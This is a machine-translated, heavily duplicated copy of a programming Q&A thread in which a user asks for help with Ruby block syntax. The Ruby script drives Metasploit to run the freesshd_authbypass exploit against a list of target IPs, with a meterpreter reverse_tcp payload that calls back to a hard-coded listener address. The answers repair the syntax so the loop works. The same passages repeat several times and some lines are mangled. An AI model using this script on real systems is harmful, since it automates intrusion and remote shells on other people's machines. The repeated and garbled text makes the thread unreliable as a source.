在Ruby中读取多个文件时出错
我一直在编写一个脚本,在metasploit中使用Ruby自动化任务。由于某种原因,脚本给了我错误。代码如下:在Ruby中读取多个文件时出错,ruby,Ruby,我一直在编写一个脚本,在metasploit中使用Ruby自动化任务。由于某种原因,脚本给了我错误。代码如下: <ruby> File.open("/root/ip.txt","r") do |file| file.each_line do |ip| file.close File.open("/root/derp.txt","r") do |port1| file.each_line do |port| file.cl
<ruby>
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
file.close
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
file.close
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
</ruby>
将{}
添加到代码的开头和结尾也不起作用
简而言之,Ruby在我放入多个
文件时给了我一个错误。在代码中打开s。我需要关于如何正确实现它们的帮助。正确地缩进代码,问题就会自行解决
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
file.close
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
file.close
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
您可能需要添加两个end
s。另外,file.close对于do。。。结束文件的形式。打开并将其放在一个奇怪的位置
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
end
end
正确地缩进代码,问题就会自动出现
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
file.close
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
file.close
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
您可能需要添加两个end
s。另外,file.close对于do。。。结束文件的形式。打开并将其放在一个奇怪的位置
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
end
end
正确地缩进代码,问题就会自动出现
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
file.close
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
file.close
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
您可能需要添加两个end
s。另外,file.close对于do。。。结束文件的形式。打开并将其放在一个奇怪的位置
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
end
end
正确地缩进代码,问题就会自动出现
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
file.close
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
file.close
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
您可能需要添加两个end
s。另外,file.close对于do。。。结束文件的形式。打开并将其放在一个奇怪的位置
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
end
end
Patrick Oscity提供了解决方案,但即使在添加缺少的end
语句之后,修复代码也不是很直观
看起来您只需要来自两个不同文件的第一行。使用foreach
,而不是打开文件然后使用每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行
大概是这样的:
File.foreach("/root/ip.txt") do |ip|
File.foreach("/root/derp.txt") do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
break
end
break
end
Patrick Oscity提供了解决方案,但即使在添加缺少的end
语句之后,修复代码也不是很直观
看起来您只需要来自两个不同文件的第一行。使用foreach
,而不是打开文件然后使用每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行
大概是这样的:
File.foreach("/root/ip.txt") do |ip|
File.foreach("/root/derp.txt") do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
break
end
break
end
Patrick Oscity提供了解决方案,但即使在添加缺少的end
语句之后,修复代码也不是很直观
看起来您只需要来自两个不同文件的第一行。使用foreach
,而不是打开文件然后使用每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行
大概是这样的:
File.foreach("/root/ip.txt") do |ip|
File.foreach("/root/derp.txt") do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
break
end
break
end
Patrick Oscity提供了解决方案,但即使在添加缺少的end
语句之后,修复代码也不是很直观
看起来您只需要来自两个不同文件的第一行。使用foreach
,而不是打开文件然后使用每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行
大概是这样的:
File.foreach("/root/ip.txt") do |ip|
File.foreach("/root/derp.txt") do |port|
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
break
end
break
end
尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个文件。每行都应该是port1。每行否则将无法正常工作。尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个文件。每行都应该是port1。每行否则将无法正常工作。尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个文件。每行都应该是port1。每行否则将无法正常工作。尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个文件。每一行都应该是port1。否则它将无法正常工作。